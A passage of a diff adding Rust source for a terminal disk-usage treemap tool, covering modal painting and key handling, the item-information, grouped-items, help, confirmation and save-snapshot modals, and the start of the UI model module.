let idx = self.modals.len() - 1;
|
||||||
|
let editing = self.modals[idx].md.editor().is_some();
|
||||||
|
if editing && k != "esc" && k != "enter" {
|
||||||
|
if let Some(ed) = self.modals[idx].md.editor() {
|
||||||
|
ed.key(key);
|
||||||
|
}
|
||||||
|
return Cmd::None;
|
||||||
|
}
|
||||||
|
if !editing {
|
||||||
|
let f = &mut self.modals[idx];
|
||||||
|
let page = (f.view_h - 1).max(1);
|
||||||
|
let scrolled = match k {
|
||||||
|
"esc" | "q" => {
|
||||||
|
self.close_modal();
|
||||||
|
return Cmd::None;
|
||||||
|
}
|
||||||
|
"up" | "k" => Some(f.scroll - 1),
|
||||||
|
"down" | "j" => Some(f.scroll + 1),
|
||||||
|
"pgup" => Some(f.scroll - page),
|
||||||
|
"pgdown" | "space" => Some(f.scroll + page),
|
||||||
|
"home" => Some(0),
|
||||||
|
"end" => Some(f.content_n),
|
||||||
|
_ => None,
|
||||||
|
};
|
||||||
|
if let Some(s) = scrolled {
|
||||||
|
f.scroll = s;
|
||||||
|
f.clamp_scroll();
|
||||||
|
return Cmd::None;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// Modal-specific keys. The frame is taken out while the modal runs;
|
||||||
|
// if it opens another modal, that one stacks above it.
|
||||||
|
let mut f = self.modals.remove(idx);
|
||||||
|
let (close, cmd) = f.md.key(self, tr, k);
|
||||||
|
if close {
|
||||||
|
self.dirty = true;
|
||||||
|
} else {
|
||||||
|
self.modals.insert(idx.min(self.modals.len()), f);
|
||||||
|
}
|
||||||
|
cmd
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Dims the base screen and draws the top modal centred, clamped to the
|
||||||
|
/// terminal with a one-cell margin. Content that does not fit scrolls.
|
||||||
|
pub fn paint_modal(&mut self, tr: &Tree, cv: &mut Canvas) {
|
||||||
|
let t = self.theme.clone();
|
||||||
|
// Dim everything underneath.
|
||||||
|
cv.restyle(Rect { x: 0, y: 0, w: cv.w, h: cv.h }, |mut s| {
|
||||||
|
if t.mono {
|
||||||
|
s.attr |= FAINT;
|
||||||
|
return s;
|
||||||
|
}
|
||||||
|
s.fg = s.fg.mix(t.bg, 0.6);
|
||||||
|
s.bg = s.bg.mix(rgb(0, 0, 0), 0.45);
|
||||||
|
s.attr &= !BOLD;
|
||||||
|
s
|
||||||
|
});
|
||||||
|
let mut f = self.modals.pop().unwrap();
|
||||||
|
let max_w = cv.w - 2;
|
||||||
|
let w = (f.md.width() + 4).min(max_w).max(30.min(max_w));
|
||||||
|
let inner = w - 4;
|
||||||
|
let lines = f.md.content(self, tr, inner);
|
||||||
|
let foot = f.md.footer(self);
|
||||||
|
let mut chrome = 4; // border top/bottom, title rule
|
||||||
|
if !foot.is_empty() {
|
||||||
|
chrome += 2;
|
||||||
|
}
|
||||||
|
let h = (lines.len() as i32 + chrome).min(cv.h - 2).max((chrome + 1).min(cv.h));
|
||||||
|
let (x0, y0) = ((cv.w - w) / 2, (cv.h - h) / 2);
|
||||||
|
let r = Rect { x: x0, y: y0, w, h };
|
||||||
|
let bg = if t.panel_bg.is_default() { t.bg } else { t.panel_bg };
|
||||||
|
let base = Style::new(t.fg, bg);
|
||||||
|
// Drop shadow.
|
||||||
|
if !t.mono {
|
||||||
|
let black = |mut s: Style| {
|
||||||
|
s.bg = rgb(0, 0, 0);
|
||||||
|
s
|
||||||
|
};
|
||||||
|
cv.restyle(Rect { x: x0 + 1, y: y0 + h, w, h: 1 }, black);
|
||||||
|
cv.restyle(Rect { x: x0 + w, y: y0 + 1, w: 1, h }, black);
|
||||||
|
}
|
||||||
|
cv.fill(r, " ", base);
|
||||||
|
let border = Style::new(t.accent, bg).with(BOLD);
|
||||||
|
cv.draw_box(r, if t.ascii { BOX_ASCII } else { BOX_ROUND }, border);
|
||||||
|
cv.text(x0 + 2, y0 + 1, &f.md.title().to_uppercase(), inner, Style::new(t.accent, bg).with(BOLD));
|
||||||
|
let rule = if t.ascii { "-" } else { "─" };
|
||||||
|
cv.hline(x0 + 1, y0 + 2, w - 2, rule, Style::new(t.faint, bg));
|
||||||
|
f.view_h = h - chrome;
|
||||||
|
f.content_n = lines.len() as i32;
|
||||||
|
f.clamp_scroll();
|
||||||
|
let mut i = 0;
|
||||||
|
while i < f.view_h && ((f.scroll + i) as usize) < lines.len() {
|
||||||
|
let mut x = x0 + 2;
|
||||||
|
for sp in &lines[(f.scroll + i) as usize] {
|
||||||
|
let st = match sp.st {
|
||||||
|
Some(mut st) => {
|
||||||
|
if st.bg.is_default() {
|
||||||
|
st.bg = bg;
|
||||||
|
}
|
||||||
|
st
|
||||||
|
}
|
||||||
|
None => base,
|
||||||
|
};
|
||||||
|
x += cv.text(x, y0 + 3 + i, &sp.s, x0 + 2 + inner - x, st);
|
||||||
|
}
|
||||||
|
i += 1;
|
||||||
|
}
|
||||||
|
let n = lines.len() as i32;
|
||||||
|
if n > f.view_h && f.view_h > 0 {
|
||||||
|
let mut ind = format!(
|
||||||
|
"{}–{}/{}",
|
||||||
|
textutil::count(f.scroll as i64 + 1),
|
||||||
|
textutil::count((f.scroll + f.view_h).min(n) as i64),
|
||||||
|
textutil::count(n as i64)
|
||||||
|
);
|
||||||
|
if f.scroll > 0 {
|
||||||
|
ind = format!("▲ {ind}");
|
||||||
|
}
|
||||||
|
if f.scroll + f.view_h < n {
|
||||||
|
ind += " ▼";
|
||||||
|
}
|
||||||
|
cv.text_right(x0 + 1, y0 + 1, w - 3, &ind, Style::new(t.muted, bg));
|
||||||
|
}
|
||||||
|
if !foot.is_empty() {
|
||||||
|
cv.hline(x0 + 1, y0 + h - 3, w - 2, rule, Style::new(t.faint, bg));
|
||||||
|
cv.text(x0 + 2, y0 + h - 2, &foot, inner, Style::new(t.muted, bg));
|
||||||
|
}
|
||||||
|
self.modals.push(f);
|
||||||
|
self.hits.clear();
|
||||||
|
self.hits.push(Hit { r, act: HitAct::None });
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Breaks s into chunks of at most w cells (used for long paths).
|
||||||
|
pub(crate) fn wrap(s: &str, w: i32) -> Vec<String> {
|
||||||
|
if w <= 0 {
|
||||||
|
return Vec::new();
|
||||||
|
}
|
||||||
|
let mut out = Vec::new();
|
||||||
|
let mut cur = String::new();
|
||||||
|
let mut cw = 0;
|
||||||
|
textutil::clusters(s, |c, cwid| {
|
||||||
|
if cw + cwid as i32 > w {
|
||||||
|
out.push(std::mem::take(&mut cur));
|
||||||
|
cw = 0;
|
||||||
|
}
|
||||||
|
cur.push_str(c);
|
||||||
|
cw += cwid as i32;
|
||||||
|
true
|
||||||
|
});
|
||||||
|
if !cur.is_empty() || out.is_empty() {
|
||||||
|
out.push(cur);
|
||||||
|
}
|
||||||
|
out
|
||||||
|
}
|
||||||
@@ -0,0 +1,438 @@
|
|||||||
|
//! The concrete modals: item information, LOD group, help, confirmation and
|
||||||
|
//! save snapshot.
|
||||||
|
|
||||||
|
use super::canvas::{rgb, Style, BOLD};
|
||||||
|
use super::keys::default_snapshot_name;
|
||||||
|
use super::mapview::Group;
|
||||||
|
use super::modal::{kv, styled, txt, wrap, Line, Modal, Span};
|
||||||
|
use super::model::{Cmd, Model};
|
||||||
|
use super::search::LineEditor;
|
||||||
|
use super::{fmt_time, pad_left, pad_right, san, si_units, trunc, tw};
|
||||||
|
use crate::export;
|
||||||
|
use crate::filter;
|
||||||
|
use crate::inventory::{NodeId, Tree, FLAG_ALLOC_UNKNOWN, FLAG_HARDLINK_DUP, FLAG_INCOMPLETE, FLAG_LOOP, FLAG_SCANNED, FLAG_SKIPPED_FS, FLAG_SPARSE, FLAG_VIRTUAL_FS, NO_NODE};
|
||||||
|
use crate::platform;
|
||||||
|
use crate::textutil;
|
||||||
|
|
||||||
|
// ---- Item information -------------------------------------------------------
|
||||||
|
|
||||||
|
struct InfoModal {
|
||||||
|
id: NodeId,
|
||||||
|
btime: i64, // live birth time (0 if unknown)
|
||||||
|
}
|
||||||
|
|
||||||
|
pub(crate) fn new_info_modal(m: &Model, tr: &Tree, id: NodeId) -> Box<dyn Modal> {
|
||||||
|
let mut md = InfoModal { id, btime: 0 };
|
||||||
|
if !m.snapshot {
|
||||||
|
// Birth time is not kept in the inventory; read it live.
|
||||||
|
if let Ok(meta) = platform::lstat(&tr.path_bytes(id)) {
|
||||||
|
md.btime = meta.btime;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
Box::new(md)
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Modal for InfoModal {
|
||||||
|
fn width(&self) -> i32 {
|
||||||
|
72
|
||||||
|
}
|
||||||
|
|
||||||
|
fn title(&self) -> String {
|
||||||
|
"Item information".into()
|
||||||
|
}
|
||||||
|
|
||||||
|
fn footer(&self, m: &Model) -> String {
|
||||||
|
let mut s = format!("Esc close · c copy path · o {} · Space go to", reveal_verb());
|
||||||
|
if !m.opts.read_only && !m.snapshot {
|
||||||
|
s += &format!(" · d {}", delete_verb());
|
||||||
|
}
|
||||||
|
s
|
||||||
|
}
|
||||||
|
|
||||||
|
fn content(&self, m: &mut Model, tr: &Tree, w: i32) -> Vec<Line> {
|
||||||
|
let t = m.theme.clone();
|
||||||
|
let n = tr.node(self.id);
|
||||||
|
let ks = Style::new(t.muted, Default::default());
|
||||||
|
let vs = Style::new(t.fg, Default::default());
|
||||||
|
let bold = vs.with(BOLD);
|
||||||
|
let warn = Style::new(t.warn, Default::default()).with(BOLD);
|
||||||
|
let mut out: Vec<Line> = Vec::new();
|
||||||
|
let add = |out: &mut Vec<Line>, k: &str, v: String| out.push(kv(k, v, ks, vs));
|
||||||
|
let add_s = |out: &mut Vec<Line>, k: &str, v: String, st: Style| out.push(kv(k, v, ks, st));
|
||||||
|
|
||||||
|
let col = m.color_of(tr, self.id as i64);
|
||||||
|
let title = Style::new(col.mix(rgb(255, 255, 255), 0.3), Default::default()).with(BOLD);
|
||||||
|
for l in wrap(&san(&n.name), w) {
|
||||||
|
out.push(styled(l, title));
|
||||||
|
}
|
||||||
|
out.push(txt(""));
|
||||||
|
out.push(styled("Path", ks));
|
||||||
|
for l in wrap(&san(&tr.path_bytes(self.id)), w) {
|
||||||
|
out.push(styled(l, vs));
|
||||||
|
}
|
||||||
|
if san(&n.name).as_bytes() != &*n.name {
|
||||||
|
out.push(styled("Name contains control or invalid characters (shown escaped)", warn));
|
||||||
|
}
|
||||||
|
out.push(txt(""));
|
||||||
|
let mode = m.size_mode;
|
||||||
|
if n.is_dir() {
|
||||||
|
add_s(&mut out, "Total logical", format!("{} ({} bytes)", textutil::size(n.tot_size), textutil::count(n.tot_size)), bold);
|
||||||
|
add_s(&mut out, "Total allocated", format!("{} ({} bytes)", textutil::size(n.tot_alloc), textutil::count(n.tot_alloc)), bold);
|
||||||
|
add(&mut out, "Files", textutil::count(n.files as i64));
|
||||||
|
add(&mut out, "Directories", textutil::count(n.dirs as i64));
|
||||||
|
if n.parent != NO_NODE {
|
||||||
|
add(&mut out, "Of parent", textutil::percent(n.total(mode), tr.node(n.parent).total(mode)));
|
||||||
|
}
|
||||||
|
add(&mut out, "Of scan", textutil::percent(n.total(mode), tr.node(0).total(mode)));
|
||||||
|
let k = m.kids_of(tr, self.id);
|
||||||
|
if let Some(&first) = k.ids.first() {
|
||||||
|
add(&mut out, "Largest child", format!("{} ({})", san(&tr.node(first).name), textutil::size(k.sizes[0])));
|
||||||
|
}
|
||||||
|
if n.errors > 0 {
|
||||||
|
add_s(&mut out, "Errors beneath", textutil::count(n.errors as i64), Style::new(t.err, Default::default()).with(BOLD));
|
||||||
|
}
|
||||||
|
let state = if n.has(FLAG_INCOMPLETE) {
|
||||||
|
"incomplete (not fully read)"
|
||||||
|
} else if !n.has(FLAG_SCANNED) && m.scanning {
|
||||||
|
"scanning…"
|
||||||
|
} else if n.has(FLAG_SKIPPED_FS | FLAG_VIRTUAL_FS | FLAG_LOOP) {
|
||||||
|
"not descended"
|
||||||
|
} else {
|
||||||
|
"complete"
|
||||||
|
};
|
||||||
|
add(&mut out, "Scan state", state.into());
|
||||||
|
} else {
|
||||||
|
add_s(&mut out, "Logical size", format!("{} ({} bytes)", textutil::size(n.size), textutil::count(n.size)), bold);
|
||||||
|
let alloc = if n.has(FLAG_ALLOC_UNKNOWN) {
|
||||||
|
"unknown on this platform".to_string()
|
||||||
|
} else {
|
||||||
|
format!("{} ({} bytes)", textutil::size(n.alloc), textutil::count(n.alloc))
|
||||||
|
};
|
||||||
|
add_s(&mut out, "Allocated size", alloc, bold);
|
||||||
|
if n.parent != NO_NODE {
|
||||||
|
add(&mut out, "Of parent", textutil::percent(n.own(mode), tr.node(n.parent).total(mode)));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if let Some(r) = &m.search.result {
|
||||||
|
add(&mut out, "Matching filter", textutil::size(r.size(self.id)));
|
||||||
|
}
|
||||||
|
if let Some(d) = &m.opts.diff {
|
||||||
|
match d.old_size(self.id, mode) {
|
||||||
|
Some(old) => {
|
||||||
|
add(&mut out, "In old snapshot", textutil::size(old));
|
||||||
|
add_s(&mut out, "Change", textutil::signed_size(n.total(mode) - old), bold);
|
||||||
|
}
|
||||||
|
None => add_s(&mut out, "Change", "new since old snapshot".into(), Style::new(t.diff_new, Default::default()).with(BOLD)),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
out.push(txt(""));
|
||||||
|
add(&mut out, "Type", n.kind.name().into());
|
||||||
|
if !n.is_dir() {
|
||||||
|
let e = tr.ext_name(n);
|
||||||
|
if !e.is_empty() {
|
||||||
|
add(&mut out, "Extension", textutil::sanitize(e));
|
||||||
|
}
|
||||||
|
add(&mut out, "Category", n.cat.name().into());
|
||||||
|
}
|
||||||
|
out.push(txt(""));
|
||||||
|
if n.mtime > 0 {
|
||||||
|
add(&mut out, "Modified", fmt_time(n.mtime));
|
||||||
|
}
|
||||||
|
if self.btime > 0 {
|
||||||
|
add(&mut out, "Created", fmt_time(self.btime));
|
||||||
|
}
|
||||||
|
out.push(txt(""));
|
||||||
|
add(&mut out, "Mode", platform::mode::string(n.mode));
|
||||||
|
add(&mut out, "Owner", textutil::sanitize(&platform::user_name(n.uid)));
|
||||||
|
add(&mut out, "Group", textutil::sanitize(&platform::group_name(n.gid)));
|
||||||
|
if !n.is_dir() {
|
||||||
|
add(&mut out, "Hard links", n.nlink.to_string());
|
||||||
|
let sparse = if n.has(FLAG_SPARSE) {
|
||||||
|
format!("Yes (or compressed) — {} not allocated", textutil::size(n.size - n.alloc))
|
||||||
|
} else {
|
||||||
|
"No".into()
|
||||||
|
};
|
||||||
|
add(&mut out, "Sparse", sparse);
|
||||||
|
}
|
||||||
|
let fl = export::flag_list(n.flags & !(FLAG_SCANNED | FLAG_SPARSE));
|
||||||
|
if !fl.is_empty() {
|
||||||
|
add_s(&mut out, "Flags", fl.join(", "), warn);
|
||||||
|
}
|
||||||
|
if n.has(FLAG_HARDLINK_DUP) {
|
||||||
|
out.push(styled("Another path to this inode was counted; this one adds nothing to totals.", ks));
|
||||||
|
}
|
||||||
|
if m.snapshot {
|
||||||
|
out.push(txt(""));
|
||||||
|
out.push(styled("From snapshot — metadata as recorded, not live.", ks));
|
||||||
|
}
|
||||||
|
out
|
||||||
|
}
|
||||||
|
|
||||||
|
fn key(&mut self, m: &mut Model, tr: &Tree, k: &str) -> (bool, Cmd) {
|
||||||
|
match k {
|
||||||
|
"c" => (false, m.copy_path(&tr.path_bytes(self.id))),
|
||||||
|
"o" => {
|
||||||
|
m.sel = self.id as i64;
|
||||||
|
// Headless, o navigates the map, which the modal would cover.
|
||||||
|
let c = m.reveal(tr);
|
||||||
|
(platform::headless(), c)
|
||||||
|
}
|
||||||
|
"enter" => (true, Cmd::None),
|
||||||
|
"g" | "right" => {
|
||||||
|
m.jump_to(tr, self.id);
|
||||||
|
(true, Cmd::None)
|
||||||
|
}
|
||||||
|
"d" | "delete" => {
|
||||||
|
m.sel = self.id as i64;
|
||||||
|
(true, m.request_trash(tr))
|
||||||
|
}
|
||||||
|
_ => (false, Cmd::None),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ---- LOD group ------------------------------------------------------------------
|
||||||
|
|
||||||
|
struct GroupModal {
|
||||||
|
g: Group,
|
||||||
|
}
|
||||||
|
|
||||||
|
pub(crate) fn new_group_modal(g: Group) -> Box<dyn Modal> {
|
||||||
|
Box::new(GroupModal { g })
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Modal for GroupModal {
|
||||||
|
fn width(&self) -> i32 {
|
||||||
|
70
|
||||||
|
}
|
||||||
|
fn title(&self) -> String {
|
||||||
|
"Smaller items (grouped)".into()
|
||||||
|
}
|
||||||
|
fn footer(&self, _: &Model) -> String {
|
||||||
|
"Esc close · Space shows them in the list view".into()
|
||||||
|
}
|
||||||
|
|
||||||
|
fn content(&self, m: &mut Model, tr: &Tree, w: i32) -> Vec<Line> {
|
||||||
|
let t = m.theme.clone();
|
||||||
|
let ids = self.g.ids();
|
||||||
|
let mut out = vec![
|
||||||
|
txt(format!("{} items too small to draw individually at this size,", textutil::count(ids.len() as i64))),
|
||||||
|
txt(format!("totalling {}. Zoom in or enlarge the terminal to see them.", textutil::size(self.g.size))),
|
||||||
|
txt(""),
|
||||||
|
];
|
||||||
|
for (i, &id) in ids.iter().enumerate() {
|
||||||
|
if i == 200 {
|
||||||
|
out.push(styled(format!("… and {} more", textutil::count(ids.len() as i64 - 200)), Style::new(t.muted, Default::default())));
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
let n = tr.node(id);
|
||||||
|
let mut name = san(&n.name);
|
||||||
|
if n.is_dir() {
|
||||||
|
name.push('/');
|
||||||
|
}
|
||||||
|
out.push(vec![
|
||||||
|
Span { s: pad_left(&textutil::size(m.size_of(tr, id)), 11) + " ", st: Some(Style::new(t.muted, Default::default())) },
|
||||||
|
Span { s: trunc(&name, w - 13), st: Some(Style::new(m.color_of(tr, id as i64).mix(t.fg, 0.4), Default::default())) },
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
out
|
||||||
|
}
|
||||||
|
|
||||||
|
fn key(&mut self, m: &mut Model, _: &Tree, k: &str) -> (bool, Cmd) {
|
||||||
|
if k == "enter" {
|
||||||
|
m.sel = self.g.ids()[0] as i64;
|
||||||
|
m.set_view_by_name("List");
|
||||||
|
return (true, Cmd::None);
|
||||||
|
}
|
||||||
|
(false, Cmd::None)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ---- Help ---------------------------------------------------------------------
|
||||||
|
|
||||||
|
struct HelpModal;
|
||||||
|
|
||||||
|
pub(crate) fn new_help_modal() -> Box<dyn Modal> {
|
||||||
|
Box::new(HelpModal)
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Modal for HelpModal {
|
||||||
|
fn width(&self) -> i32 {
|
||||||
|
78
|
||||||
|
}
|
||||||
|
fn title(&self) -> String {
|
||||||
|
"Keyboard reference".into()
|
||||||
|
}
|
||||||
|
fn footer(&self, _: &Model) -> String {
|
||||||
|
"Esc close · ↑↓ scroll".into()
|
||||||
|
}
|
||||||
|
|
||||||
|
fn content(&self, m: &mut Model, _: &Tree, _: i32) -> Vec<Line> {
|
||||||
|
let t = m.theme.clone();
|
||||||
|
let h = Style::new(t.accent, Default::default()).with(BOLD);
|
||||||
|
let k = Style::new(t.sel, Default::default()).with(BOLD);
|
||||||
|
let d = Style::new(t.fg, Default::default());
|
||||||
|
let muted = Style::new(t.muted, Default::default());
|
||||||
|
let mut out: Vec<Line> = Vec::new();
|
||||||
|
let sec = |out: &mut Vec<Line>, s: &str| {
|
||||||
|
if !out.is_empty() {
|
||||||
|
out.push(txt(""));
|
||||||
|
}
|
||||||
|
out.push(styled(s, h));
|
||||||
|
};
|
||||||
|
let row = |out: &mut Vec<Line>, keys: &str, desc: &str| {
|
||||||
|
out.push(vec![Span { s: format!(" {}", pad_right(keys, 19)), st: Some(k) }, Span { s: desc.into(), st: Some(d) }]);
|
||||||
|
};
|
||||||
|
sec(&mut out, "NAVIGATION");
|
||||||
|
row(&mut out, "↑ ↓ ← → hjkl", "move spatially through the treemap");
|
||||||
|
row(&mut out, "Enter", "inspect the selected item");
|
||||||
|
row(&mut out, "Space →", "zoom into the selected directory");
|
||||||
|
row(&mut out, "Backspace ←", "zoom out one level");
|
||||||
|
row(&mut out, "Home", "back to the scan root");
|
||||||
|
row(&mut out, "click / dbl-click", "select / zoom (mouse)");
|
||||||
|
row(&mut out, "wheel", "zoom in/out (map), scroll (lists)");
|
||||||
|
sec(&mut out, "SEARCH & FILTER");
|
||||||
|
row(&mut out, "/", "search or filter; the map shows only matches");
|
||||||
|
row(&mut out, "Esc", "clear the filter");
|
||||||
|
out.push(styled(" ubuntu *.iso size > 5GB ext IN (iso,qcow2) age > 365d", muted));
|
||||||
|
out.push(styled(" path contains cache AND NOT type = dir owner = andy flag = sparse", muted));
|
||||||
|
let fields: Vec<&str> = filter::FIELDS.split_whitespace().collect();
|
||||||
|
let split = 7.min(fields.len());
|
||||||
|
out.push(styled(format!(" fields: {}", fields[..split].join(" ")), muted));
|
||||||
|
out.push(styled(format!(" {}", fields[split..].join(" ")), muted));
|
||||||
|
out.push(styled(" sizes: KiB/MiB/GiB (1024), kB/MB/GB (1000); ages: s min h d w mo y", muted));
|
||||||
|
sec(&mut out, "VIEWS");
|
||||||
|
row(&mut out, "Tab Shift+Tab", "next / previous view");
|
||||||
|
row(&mut out, "1 – 7", "jump to a view");
|
||||||
|
row(&mut out, "x", "file types (extension statistics)");
|
||||||
|
row(&mut out, "g", "top lists: largest, oldest, sparse, hard links …");
|
||||||
|
row(&mut out, "e", "scan information and errors");
|
||||||
|
row(&mut out, "D", "find duplicate files (reads file contents)");
|
||||||
|
sec(&mut out, "APPLICATION");
|
||||||
|
row(&mut out, "a", "toggle allocated / logical (apparent) size");
|
||||||
|
row(&mut out, "c", "copy path to clipboard");
|
||||||
|
row(&mut out, "o", reveal_verb());
|
||||||
|
if !m.opts.read_only {
|
||||||
|
row(&mut out, "d", &format!("{} (asks first)", delete_verb()));
|
||||||
|
}
|
||||||
|
row(&mut out, "s", "save snapshot");
|
||||||
|
row(&mut out, "r", "rescan");
|
||||||
|
row(&mut out, "T", "cycle colour theme");
|
||||||
|
row(&mut out, "Ctrl+C", "cancel scan; press again to quit");
|
||||||
|
row(&mut out, "q", "quit");
|
||||||
|
out.push(txt(""));
|
||||||
|
let units = if si_units() { "SI (kB = 1000 bytes)" } else { "IEC (KiB = 1024 bytes)" };
|
||||||
|
out.push(styled(format!("Sizes: {} · units: {units}", m.size_mode.name()), muted));
|
||||||
|
out
|
||||||
|
}
|
||||||
|
|
||||||
|
fn key(&mut self, _: &mut Model, _: &Tree, _: &str) -> (bool, Cmd) {
|
||||||
|
(false, Cmd::None)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ---- Confirmation -------------------------------------------------------------
|
||||||
|
|
||||||
|
pub(crate) type OnYes = Box<dyn FnOnce(&mut Model) -> Cmd>;
|
||||||
|
|
||||||
|
pub(crate) struct ConfirmModal {
|
||||||
|
pub ttl: String,
|
||||||
|
pub body: Vec<String>,
|
||||||
|
pub yes: String,
|
||||||
|
pub on_yes: Option<OnYes>,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Modal for ConfirmModal {
|
||||||
|
fn width(&self) -> i32 {
|
||||||
|
self.body.iter().map(|b| tw(b)).fold(40, i32::max).min(90)
|
||||||
|
}
|
||||||
|
fn title(&self) -> String {
|
||||||
|
self.ttl.clone()
|
||||||
|
}
|
||||||
|
fn footer(&self, _: &Model) -> String {
|
||||||
|
format!("y {} · n / Esc cancel", self.yes)
|
||||||
|
}
|
||||||
|
fn content(&self, _: &mut Model, _: &Tree, w: i32) -> Vec<Line> {
|
||||||
|
self.body.iter().flat_map(|b| wrap(b, w)).map(txt).collect()
|
||||||
|
}
|
||||||
|
fn key(&mut self, m: &mut Model, _: &Tree, k: &str) -> (bool, Cmd) {
|
||||||
|
match k {
|
||||||
|
"y" | "Y" => (true, self.on_yes.take().map_or(Cmd::None, |f| f(m))),
|
||||||
|
"n" | "N" | "enter" => (true, Cmd::None),
|
||||||
|
_ => (false, Cmd::None),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ---- Save snapshot ---------------------------------------------------------------
|
||||||
|
|
||||||
|
struct SaveModal {
|
||||||
|
ed: LineEditor,
|
||||||
|
}
|
||||||
|
|
||||||
|
pub(crate) fn new_save_modal(tr: &Tree) -> Box<dyn Modal> {
|
||||||
|
let mut md = SaveModal { ed: LineEditor::default() };
|
||||||
|
md.ed.set(&default_snapshot_name(&tr.stats.root));
|
||||||
|
Box::new(md)
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Modal for SaveModal {
|
||||||
|
fn editor(&mut self) -> Option<&mut LineEditor> {
|
||||||
|
Some(&mut self.ed)
|
||||||
|
}
|
||||||
|
fn width(&self) -> i32 {
|
||||||
|
70
|
||||||
|
}
|
||||||
|
fn title(&self) -> String {
|
||||||
|
"Save snapshot".into()
|
||||||
|
}
|
||||||
|
fn footer(&self, _: &Model) -> String {
|
||||||
|
"Enter save · Esc cancel".into()
|
||||||
|
}
|
||||||
|
|
||||||
|
fn content(&self, m: &mut Model, _: &Tree, w: i32) -> Vec<Line> {
|
||||||
|
let t = &m.theme;
|
||||||
|
let mut out = vec![txt("File:")];
|
||||||
|
let s = textutil::sanitize(&self.ed.text());
|
||||||
|
for l in wrap(&(s + "█"), w) {
|
||||||
|
out.push(styled(l, Style::new(t.fg, Default::default()).with(BOLD)));
|
||||||
|
}
|
||||||
|
if m.scanning {
|
||||||
|
out.push(txt(""));
|
||||||
|
out.push(styled("The scan is still running: the snapshot will be marked incomplete.", Style::new(t.warn, Default::default())));
|
||||||
|
}
|
||||||
|
out
|
||||||
|
}
|
||||||
|
|
||||||
|
fn key(&mut self, m: &mut Model, _: &Tree, k: &str) -> (bool, Cmd) {
|
||||||
|
match k {
|
||||||
|
"esc" => (true, Cmd::None),
|
||||||
|
"enter" => {
|
||||||
|
let p = self.ed.text().trim().to_string();
|
||||||
|
if p.is_empty() {
|
||||||
|
return (false, Cmd::None);
|
||||||
|
}
|
||||||
|
let s = m.save_snapshot(p);
|
||||||
|
let i = m.info("Saving snapshot…");
|
||||||
|
(true, Cmd::batch(vec![s, i]))
|
||||||
|
}
|
||||||
|
_ => (false, Cmd::None),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Describe o and d, which change meaning on a headless system.
|
||||||
|
pub(crate) fn reveal_verb() -> &'static str {
|
||||||
|
if platform::headless() {
|
||||||
|
"show folder in map"
|
||||||
|
} else {
|
||||||
|
"reveal in file manager"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub(crate) fn delete_verb() -> String {
|
||||||
|
if platform::headless() {
|
||||||
|
return "delete permanently".into();
|
||||||
|
}
|
||||||
|
format!("move to {}", platform::TRASH_NAME)
|
||||||
|
}
|
||||||
@@ -0,0 +1,572 @@
|
|||||||
|
//! The model: all UI state, the message handler and the frame cache.
|
||||||
|
//!
|
||||||
|
//! Threading: update and view run on the event-loop thread. The scan
|
||||||
|
//! controller mutates the inventory concurrently, so every read of tree data
|
||||||
|
//! happens under the tree's read lock, taken once per entry point (view,
|
||||||
|
//! handle_key, mouse handlers) and passed down as `&Tree`; helpers never lock
|
||||||
|
//! again (a recursive read lock can deadlock against a waiting writer). The
|
||||||
|
//! model itself is only touched on the event-loop thread.
|
||||||
|
|
||||||
|
use super::actions::DupState;
|
||||||
|
use super::canvas::Style;
|
||||||
|
use super::canvas::BOLD;
|
||||||
|
use super::data::Kids;
|
||||||
|
use super::mapview::TmLayout;
|
||||||
|
use super::modal::ModalFrame;
|
||||||
|
use super::search::SearchState;
|
||||||
|
use super::theme::{load_theme, Theme};
|
||||||
|
use super::views::View;
|
||||||
|
use crate::cancel::Cancel;
|
||||||
|
use crate::config::Settings;
|
||||||
|
use crate::duplicate;
|
||||||
|
use crate::filter::FilterResult;
|
||||||
|
use crate::inventory::{NodeId, SizeMode, Tree};
|
||||||
|
use crate::scan::Scanner;
|
||||||
|
use crate::snapshot;
|
||||||
|
use crate::textutil;
|
||||||
|
use crate::treemap::Rect;
|
||||||
|
use std::collections::HashMap;
|
||||||
|
use std::rc::Rc;
|
||||||
|
use std::sync::{Arc, RwLock};
|
||||||
|
use std::time::{Duration, Instant};
|
||||||
|
|
||||||
|
/// Begins a scan (or returns a loaded tree with no scanner). Called again
|
||||||
|
/// on rescan.
|
||||||
|
pub type StartFn = Arc<dyn Fn(Cancel) -> Result<(Option<Scanner>, Arc<RwLock<Tree>>), crate::Error> + Send + Sync>;
|
||||||
|
|
||||||
|
/// Configures the interactive session.
|
||||||
|
pub struct Options {
|
||||||
|
pub read_only: bool,
|
||||||
|
pub theme: String,
|
||||||
|
pub size_mode: SizeMode,
|
||||||
|
pub mouse: bool,
|
||||||
|
pub color: String, // auto, truecolor, 256, 16, none
|
||||||
|
pub save: String, // save a snapshot here when the scan completes
|
||||||
|
pub settings: Settings,
|
||||||
|
pub start: StartFn,
|
||||||
|
pub diff: Option<snapshot::Diff>, // compare mode
|
||||||
|
}
|
||||||
|
|
||||||
|
/// The colour capability of the terminal.
|
||||||
|
#[derive(Clone, Copy, PartialEq, Eq, Debug)]
|
||||||
|
pub(crate) enum Profile {
|
||||||
|
TrueColor,
|
||||||
|
Ansi256,
|
||||||
|
Ansi,
|
||||||
|
Ascii,
|
||||||
|
}
|
||||||
|
|
||||||
|
/// A key press. name follows Bubble Tea's keystroke names ("a", "G",
|
||||||
|
